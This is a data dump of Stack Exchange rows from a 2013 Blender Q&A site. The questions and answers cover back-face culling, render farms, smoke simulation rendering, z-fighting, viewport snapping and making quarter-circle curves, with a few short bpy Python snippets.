  <row Id="941" PostTypeId="2" ParentId="938" CreationDate="2013-06-12T08:43:28.193" Score="2" Body="&lt;p&gt;Have you looked at &lt;a href=&quot;https://blenderartists.org/forum/showthread.php?228021-Back-face-cull-rendering&quot; rel=&quot;nofollow noreferrer&quot;&gt;this Blender Artists thread&lt;/a&gt;? (Post #9) They changed the object's material to a &lt;em&gt;node material&lt;/em&gt;. In the nodes, they mapped the back faces of the object to alpha zero using a geometry node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Summary: you can make the back faces transparent to simulate back-face culling. I'm not sure how much faster it will be, but it will be nicer than deleting portions of your geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://blenderartists.org/forum/attachment.php?attachmentid=151325&amp;amp;d=1313488311&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="607" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:43.953" LastActivityDate="2013-06-12T08:43:28.193" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="942" PostTypeId="2" ParentId="906" CreationDate="2013-06-12T08:53:44.973" Score="3" Body="&lt;p&gt;I have used &lt;a href=&quot;http://www.drqueue.org/cwebsite/&quot; rel=&quot;nofollow&quot;&gt;DrQueue&lt;/a&gt; before. It isn't the easiest to use, but it is quite powerful, from what I understand. The guy who built the &lt;a href=&quot;http://helmer.sfe.se/&quot; rel=&quot;nofollow&quot;&gt;IKEA cabinet render farm&lt;/a&gt; used DrQueue, so it's got to be good, right? I believe the Blender Foundation uses DrQueue for at least one of their render farms- but don't quote me on that.&lt;/p&gt;&#xA;" OwnerUserId="607" LastActivityDate="2013-06-12T08:53:44.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="943" PostTypeId="2" ParentId="938" CreationDate="2013-06-12T09:06:50.160" Score="5" Body="&lt;p&gt;If you know a little bit of python you can modify and expand upon this snippet:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;from: &lt;a href=&quot;http://freespace.virgin.net/hugo.elias/routines/r_dot.htm&quot;&gt;http://freespace.virgin.net/hugo.elias/routines/r_dot.htm&lt;/a&gt;&#xA;           When deciding if a polygon is facing the camera, you need  only calculate the dot product of the normal vector of      that&#xA;  polygon, with a vector from the camera to one of the  polygon's&#xA;  vertices. &lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;If the dot product is less than zero, the polygon is facing the camera. &lt;/li&gt;&#xA;  &lt;li&gt;If the value is greater than zero, it is facing away from the camera.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;this could be further optimized, but I think that obfuscates the concepts. Run this code from 3dview (a 3d view context) either through a camera or user/perspective view - with the object you want to work on selected and in &lt;code&gt;Object&lt;/code&gt; mode. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from mathutils import Vector &#xA;&#xA;def get_locals(context):&#xA;    region = context.region  &#xA;    rv3d = context.space_data.region_3d  &#xA;    obj = context.active_object&#xA;    vertlist = obj.data.vertices&#xA;    return region, rv3d, obj, vertlist&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def select_front_facing(context):&#xA;&#xA;    region, rv3d, obj, vertlist = get_locals(context)&#xA;&#xA;    # neat eye location code with the help of paleajed&#xA;    eye = Vector(rv3d.view_matrix[2][:3])&#xA;    eye.length = rv3d.view_distance&#xA;    eye_location = rv3d.view_location + eye  &#xA;&#xA;    for idx, polygon in enumerate(obj.data.polygons):&#xA;&#xA;        vert_index = polygon.vertices[0]&#xA;        pnormal = obj.matrix_world * polygon.normal&#xA;        world_coordinate = obj.matrix_world * vertlist[vert_index].co&#xA;&#xA;        result_vector = eye_location - world_coordinate&#xA;        dot_value = pnormal.dot(result_vector.normalized())            &#xA;&#xA;        if dot_value &amp;lt; 0.0:&#xA;            polygon.select = False&#xA;        else:&#xA;            polygon.select = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a short working demo, you can run this from text editor:&#xA;&lt;a href=&quot;https://gist.github.com/zeffii/5766177&quot;&gt;https://gist.github.com/zeffii/5766177&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use it in my &lt;a href=&quot;https://github.com/zeffii/rawr/blob/master/svg_tests/bvp_to_svg.py&quot;&gt;basic SVG renderer&lt;/a&gt;, to fake a wireframe material which occludes back-facing, it isn't perfect for all possible use-cases but it works to 'select back-facing'. You can run the SVG renderer directly from the Text Editor, and it will set every front facing Polygon to the &lt;code&gt;select == True&lt;/code&gt; state.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-12T15:15:20.883" LastActivityDate="2013-06-12T15:15:20.883" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="944" PostTypeId="2" ParentId="897" CreationDate="2013-06-12T09:33:23.883" Score="7" Body="&lt;p&gt;This is the closest simulation I could think of (&lt;a href=&quot;http://youtu.be/7MtJzxrfac8&quot; rel=&quot;nofollow noreferrer&quot;&gt;also made video version available&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a Cube &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;a&lt;/kbd&gt;&lt;kbd&gt;m&lt;/kbd&gt;&lt;kbd&gt;c&lt;/kbd&gt; and scale down it &lt;kbd&gt;s&lt;/kbd&gt;&lt;kbd&gt;z&lt;/kbd&gt;&lt;kbd&gt;.&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt;&lt;kbd&gt;Return&lt;/kbd&gt;&lt;kbd&gt;s&lt;/kbd&gt;&lt;kbd&gt;x&lt;/kbd&gt;&lt;kbd&gt;.&lt;/kbd&gt;&lt;kbd&gt;5&lt;/kbd&gt;&lt;kbd&gt;Return&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Create and instance with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;d&lt;/kbd&gt;&lt;kbd&gt;y&lt;/kbd&gt;&lt;kbd&gt;2&lt;/kbd&gt;&lt;kbd&gt;Return&lt;/kbd&gt;. Repeat several times with &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;r&lt;/kbd&gt;, making sure to end with an uneven amount.&lt;/li&gt;&#xA;&lt;li&gt;Select all newly created cubes and and make active rigid bodies &lt;kbd&gt;Control&lt;/kbd&gt;+&lt;kbd&gt;r&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;In the the Tool Shelf under Rigid Body Tools, click Calculate Mass and select Steel.&lt;/li&gt;&#xA;&lt;li&gt;One by one go along selecting each of the neighbouring cubes and click the Connect button (also in the Rigid Body Tools).&lt;/li&gt;&#xA;&lt;li&gt;Finally select the centre cube and set it to passive &lt;kbd&gt;Control&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;r&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dxZtu.gif&quot; alt=&quot;Example result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="404" LastEditorUserId="290" LastEditDate="2013-06-12T14:35:01.460" LastActivityDate="2013-06-12T14:35:01.460" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="945" PostTypeId="1" AcceptedAnswerId="946" CreationDate="2013-06-12T09:35:57.663" Score="7" ViewCount="959" Body="&lt;p&gt;I made a low poly piece and realized that in the 3D viewport with rendered mode enabled that I have some artifacts on the boundaries of faces, if you look closely it looks like scratches.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ki1A0l.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rRwtHl.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Can anyone help me in my debugging process of understanding what's wrong?&#xA;I'm still a beginner on Blender, and there's so much I ignore on the good ways to do things.&lt;/p&gt;&#xA;&lt;p&gt;Here are the viewport clipping settings:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c4i7j.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here is the component in question: &lt;a href=&quot;http://www.pasteall.org/blend/22084&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Originally I tried to fix this problem using BSurfaces, but this was giving me unrelated error messages:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nqBL1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="609" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-12-25T06:34:46.360" Title="Artifacts in rendered geometry which appears okay in openGL / Solid view?" Tags="&lt;rendering&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="946" PostTypeId="2" ParentId="945" CreationDate="2013-06-12T11:40:59.403" Score="6" Body="&lt;p&gt;Your real problem appears to be scale:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FORWV.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I think caused by clipping plane being way beyond what is necessary.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O3A4Y.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You had it set to 1mm - 1km&lt;/p&gt;&#xA;&lt;h3&gt;Overlapping faces&lt;/h3&gt;&#xA;&lt;p&gt;My first impression is that you are trying to fix the wrong problem. I suspect that the reason you are using BSurfaces is because you don't know why you are getting scratches. The scratches is a much more interesting problem, and knowing how to fix those will help you in future modelling.&lt;/p&gt;&#xA;&lt;p&gt;If I am correct, the 'scratches' as you call them, are the result of overlapping geometry, and this results in &lt;code&gt;z-fighting&lt;/code&gt;. The scale you are modelling at compared to the &lt;em&gt;viewing&lt;/em&gt; world scale will result big enough rounding errors to make this noticeable.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-06-12T23:53:12.410" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="947" PostTypeId="2" ParentId="390" CreationDate="2013-06-12T12:15:18.873" Score="9" Body="&lt;p&gt;Another possible answer might be the &lt;a href=&quot;http://registry.gimp.org/node/28117&quot; rel=&quot;noreferrer&quot;&gt;Gimp plugin called Insane bump&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To my knowledge it has a Normal, specular, AO, the same as Crazy bump and it's free and open source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also another plugin called &lt;a href=&quot;http://registry.gimp.org/node/69&quot; rel=&quot;noreferrer&quot;&gt;Normalmap&lt;/a&gt;, which can be installed as .deb &lt;code&gt;gimp-normalmap&lt;/code&gt; in Ubuntu.&lt;/p&gt;&#xA;" OwnerUserId="614" LastEditorUserId="1322" LastEditDate="2013-09-21T19:42:39.917" LastActivityDate="2013-09-21T19:42:39.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="948" PostTypeId="1" CreationDate="2013-06-12T12:17:42.167" Score="7" ViewCount="6530" Body="&lt;p&gt;As an ex-C4D user I often need the function to zoom in and out, pan or rotate &lt;em&gt;during&lt;/em&gt; or &lt;em&gt;while&lt;/em&gt; I'm editing a vertex. When I use the vertex snap over an DWG drawing, I had to snap an intermediate point, pan my view to the point I want to snap to, because it's out of the display view, and then make a second final grab action to snap onto the point I wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any function &lt;em&gt;(with its respective shortcut)&lt;/em&gt; to do this in Blender?&lt;/p&gt;&#xA;" OwnerUserId="617" LastEditorUserId="5426" LastEditDate="2016-12-22T23:30:03.913" LastActivityDate="2016-12-22T23:30:03.913" Title="Can I change the view(pan/rotate) while performing an action?" Tags="&lt;3d-view&gt;&lt;editing&gt;&lt;snapping&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="949" PostTypeId="5" CreationDate="2013-06-12T12:49:43.833" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-12T12:49:43.833" LastActivityDate="2013-06-12T12:49:43.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="950" PostTypeId="4" CreationDate="2013-06-12T12:49:43.833" Score="0" Body="Bsurfaces is a modeling and retopology tool which combines the use of freehand strokes, bezier curves, or loose edges to generate polygonal surfaces." OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-12T14:35:10.553" LastActivityDate="2013-06-12T14:35:10.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="951" PostTypeId="1" CreationDate="2013-06-12T12:52:32.993" Score="11" ViewCount="27445" Body="&lt;p&gt;When I try to run the smoke simulator in Blender 2.62 I get no smoke at all. When I attempt to render, the only output is a black screen.&#xA;What am I doing wrong here that is making the smoke simulation not render? &#xA;Is it a mistake I made, or a problem with Blender version 2.62?&lt;/p&gt;&#xA;" OwnerUserId="620" LastEditorUserId="5426" LastEditDate="2016-12-22T23:26:46.903" LastActivityDate="2020-05-12T18:07:31.437" Title="Smoke Generator does not work" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;smoke-simulation&gt;" AnswerCount="6" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="952" PostTypeId="2" ParentId="948" CreationDate="2013-06-12T13:26:19.367" Score="4" Body="&lt;p&gt;You can't move the 3D view while editing something, even with a 3D mouse, at least in Blender 2.67b, from what I know.&lt;/p&gt;&#xA;&lt;p&gt;For your &amp;quot;&lt;em&gt;snapping&lt;/em&gt;&amp;quot; problem, I suggest you the use of the 3D cursor, by doing the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;place the 3D cursor at the exact point you want your vertex's final position (with &lt;em&gt;left click&lt;/em&gt; in the view, or directly by entering the coordinates in the properties panel - &lt;em&gt;shortcut &lt;kbd&gt;N&lt;/kbd&gt;&lt;/em&gt; - or with the snap menu, see below)&lt;/li&gt;&#xA;&lt;li&gt;select your vertex&lt;/li&gt;&#xA;&lt;li&gt;hit &lt;kbd&gt;shift&lt;/kbd&gt; &lt;kbd&gt;S&lt;/kbd&gt; to display the &amp;quot;snap&amp;quot; menu&lt;/li&gt;&#xA;&lt;li&gt;choose &amp;quot;&lt;em&gt;Selection to cursor&lt;/em&gt;&amp;quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ELxGK.jpg&quot; alt=&quot;Snap menu&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You'll notice that there is also &amp;quot;&lt;em&gt;Cursor to selected&lt;/em&gt;&amp;quot; option available in this menu, allowing you to position the 3D cursor accurately at the selection's position.&lt;/p&gt;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-06-12T13:26:19.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="953" PostTypeId="1" AcceptedAnswerId="968" CreationDate="2013-06-12T13:37:58.903" Score="9" ViewCount="6163" Body="&lt;p&gt;I'm searching an equivalent to the observer design pattern.&#xA;I want to execute a script function every time an object position changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achieve this there might be some options directly in blender UI, but if there is any possibilities to set up the observer using scripting, please provide both. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example I would like to do something like that in my script :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects[&quot;cube&quot;].location.onChange(myFunction)&#xA;&#xA;def myFunction():&#xA;    #do stuff every time location is changed...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using Blender 2.67b&lt;/p&gt;&#xA;" OwnerDisplayName="user471" LastEditorUserId="5426" LastEditDate="2016-12-22T23:25:14.230" LastActivityDate="2016-12-22T23:25:14.230" Title="Execute function on object property change" Tags="&lt;python&gt;&lt;animation&gt;&lt;scripting&gt;&lt;objects&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="954" PostTypeId="2" ParentId="951" CreationDate="2013-06-12T13:40:21.993" Score="4" Body="&lt;p&gt;For a smoke simulation you need to setup your scene at least with a flow object and a domain. The flow object emits the smoke and the domain is the demarcation of the simulation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NdMDk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The setup is as follows (all settings are default exept the highlighted &lt;em&gt;Flow&lt;/em&gt; and &lt;em&gt;Domain&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The outer cube (domain) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KWt01.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The inner cube (emitter)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z4pQA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2013-06-13T21:30:36.247" LastActivityDate="2013-06-13T21:30:36.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="955" PostTypeId="2" ParentId="948" CreationDate="2013-06-12T13:56:37.853" Score="1" Body="&lt;p&gt;Some model operations (like &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Subdividing/Knife_Subdivide&quot; rel=&quot;nofollow&quot;&gt;knife&lt;/a&gt;) allow you to move the view while editing. Others like grab mode don't. There's no need to watch your transformation move along it's entire journey:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the vertex you wish to move.&lt;/li&gt;&#xA;&lt;li&gt;Pan/zoom/rotate the view to the target snap point.&lt;/li&gt;&#xA;&lt;li&gt;Then enter grab mode and snap way.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="290" LastEditorUserId="599" LastEditDate="2013-09-06T00:15:22.543" LastActivityDate="2013-09-06T00:15:22.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="956" PostTypeId="2" ParentId="951" CreationDate="2013-06-12T14:05:16.847" Score="13" Body="&lt;p&gt;It sounds like you managed to simulate the smoke, but you can't render it. The reason is probably one of two:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You're using Cycles in a old Blender Version&lt;/li&gt;&#xA;&lt;li&gt;You're using Blender internal, but haven't yet setup a material.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you're trying to use Cycles to render smoke, it is possible now. Volumetric shading (the shader that makes smoke) is initial supported since 2.71. (see &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.71/Cycles#Fire_and_Smoke_Rendering&quot; rel=&quot;nofollow&quot;&gt;Release Log&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting up a smoke material is kind of difficult, so &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Smoke/Material&quot; rel=&quot;nofollow&quot;&gt;read the docs&lt;/a&gt; if you want all the details (they also have some screenshots if you get lost).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a quick rundown of how to create the material:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make sure you're using Blender Internal.&lt;/li&gt;&#xA;&lt;li&gt;Select &lt;em&gt;Volume&lt;/em&gt; from the material type (right between wire and halo)&lt;/li&gt;&#xA;&lt;li&gt;Set the density to zero (we'll be affecting the density with the texture)&lt;/li&gt;&#xA;&lt;li&gt;Go to the texture tab and create a new texture.&lt;/li&gt;&#xA;&lt;li&gt;Change the texture type to voxel data.&lt;/li&gt;&#xA;&lt;li&gt;In the Voxel data panel, do two things:&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set the file format to smoke&lt;/li&gt;&#xA;&lt;li&gt;Set the domain object with your domain object's name&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;Scroll down to the influence panel&lt;/li&gt;&#xA;&lt;li&gt;Check &lt;em&gt;Density&lt;/em&gt;, &lt;em&gt;Emission&lt;/em&gt; and &lt;em&gt;Emission Color&lt;/em&gt; and leave them all at 1.000.&lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;em&gt;Render!&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20" LastEditorUserId="3369" LastEditDate="2014-09-14T21:46:27.990" LastActivityDate="2014-09-14T21:46:27.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="957" PostTypeId="2" ParentId="934" CreationDate="2013-06-12T14:38:49.500" Score="5" Body="&lt;p&gt;As far as I know, their is one method that works great for uniform volumetric (like fog or steam uniform in the whole scene) ! It's working great and its fast enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/attachment.php?attachmentid=213946&amp;amp;d=1359304933&amp;amp;thumb=1&quot; rel=&quot;noreferrer&quot;&gt;http://blenderartists.org/forum/attachment.php?attachmentid=213946&amp;amp;d=1359304933&amp;amp;thumb=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The principle is quite simple : a moving plane, with a 10% translucent - 90% transparent shader move through the whole domain linearly during one frame (between #1 and #2). Motion blur interpolates it to fake volumetric.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more info looks this thread on BA : &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?279752-cycles-hack-volume-lighting&quot; rel=&quot;noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?279752-cycles-hack-volume-lighting&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="622" LastActivityDate="2013-06-12T14:38:49.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="958" PostTypeId="2" ParentId="644" CreationDate="2013-06-12T14:39:25.003" Score="12" Body="&lt;p&gt;Typically when you can't zoom in as far as you'd like, it's because you're in perspective view instead of orthographic view. You can toggle between the two by hitting the &quot;5&quot; key on the numeric keypad. You can tell what view you're in by looking in the upper left corner of the viewport. It'll tell you the view you're in (such as &quot;front ortho&quot; or &quot;front perspective&quot;). &lt;/p&gt;&#xA;" OwnerUserId="623" LastActivityDate="2013-06-12T14:39:25.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="959" PostTypeId="2" ParentId="87" CreationDate="2013-06-12T15:43:57.137" Score="2" Body="&lt;p&gt;On Windows, yes. The simplest way to find the answer to this is to just try it. Don't be afraid to try new things! I had the same question a few months back and the way I discovered the answer was to just double click on the Blender icon on my desktop while Blender was already open. A second instance opened with no problem. I even tried running two instances in a desperate attempt to render an image sequence faster. They both animated the frames I requested but there was no visible increase in speed.&lt;/p&gt;&#xA;" OwnerUserId="623" LastActivityDate="2013-06-12T15:43:57.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="960" PostTypeId="2" ParentId="948" CreationDate="2013-06-12T16:39:12.417" Score="0" Body="&lt;p&gt;If you would like to rotate around a vertex or group of vertices you're editing, select it/them, and press the &lt;kbd&gt;.&lt;/kbd&gt; key on the numpad&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will set your pivot point for the 3D view. Rotate the view by clicking your Middle Mouse Button, or click your mouse wheel (depends on your mouse).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To pan, &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;MMB&lt;/kbd&gt;. Do note that this will change the pivot point.  &lt;/p&gt;&#xA;" OwnerUserId="543" LastEditorUserId="14" LastEditDate="2013-09-04T22:25:58.543" LastActivityDate="2013-09-04T22:25:58.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="962" PostTypeId="1" AcceptedAnswerId="965" CreationDate="2013-06-12T17:57:37.967" Score="14" ViewCount="6644" Body="&lt;p&gt;&lt;strong&gt;What I want:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Bvcu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I have:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3v76j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically I need to use curves to make a quarter circle. What is a good trick to do that?&lt;/p&gt;&#xA;" OwnerUserId="628" LastEditorUserId="628" LastEditDate="2016-12-24T09:18:17.950" LastActivityDate="2020-04-05T20:27:35.690" Title="Make a quarter curve with curves" Tags="&lt;bezier-curves&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="964" PostTypeId="1" AcceptedAnswerId="967" CreationDate="2013-06-12T18:19:47.813" Score="44" ViewCount="149032" Body="&lt;p&gt;I have a model which you can see here (camera perspective).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eU4sM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the second image, you can see how the render turned out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pC8Pb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm at my wit's end trying to figure our why it's not showing up in the render. If anyone needs more information, just ask and I'll get it to you. I've already checked the normals and they're not the cause.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="47" LastEditDate="2015-07-11T13:22:08.777" LastActivityDate="2021-01-07T11:11:40.613" Title="Object not visible in render" Tags="&lt;rendering&gt;&lt;objects&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="965" PostTypeId="2" ParentId="962" CreationDate="2013-06-12T18:21:10.647" Score="13" Body="&lt;h3&gt;Curves Circle method&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add &amp;gt; Curve &amp;gt; Circle,&lt;/li&gt;&#xA;&lt;li&gt;In Edit mode go to &lt;em&gt;Curve&lt;/em&gt; &amp;gt; &lt;em&gt;Control Points&lt;/em&gt; &amp;gt; &lt;em&gt;Set handle Type&lt;/em&gt;  and set it to to &lt;em&gt;Free&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Then delete one &lt;em&gt;knot&lt;/em&gt; point, and adjust the remaining &lt;em&gt;knot&lt;/em&gt; and &lt;em&gt;handles&lt;/em&gt; as in the image below.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EZJiN.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r4RD0.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;A slight warning, this will only approximate a quarter curve, but often this will be sufficient for graphics.&lt;/p&gt;&#xA;&lt;h3&gt;Python script&lt;/h3&gt;&#xA;&lt;p&gt;Here is a short script that might be of interest to future python coders, creating this curve through code: &lt;a href=&quot;https://gist.github.com/zeffii/5775583&quot; rel=&quot;noreferrer&quot;&gt;https://gist.github.com/zeffii/5775583&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-06-13T21:05:33.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="966" PostTypeId="2" ParentId="962" CreationDate="2013-06-12T18:24:23.657" Score="5" Body="&lt;p&gt;But can you use something else for the process? What you can do (and what I usually do when I need something like that) is a nice workaround that gives perfect curves:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a circle (mesh).&lt;/li&gt;&#xA;&lt;li&gt;Erase the vertices that you dont need so you can get a &quot;quarter curve&quot; made from edges.&lt;/li&gt;&#xA;&lt;li&gt;Convert the mesh object to a curve (alt+c).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="191" LastActivityDate="2013-06-12T18:24:23.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
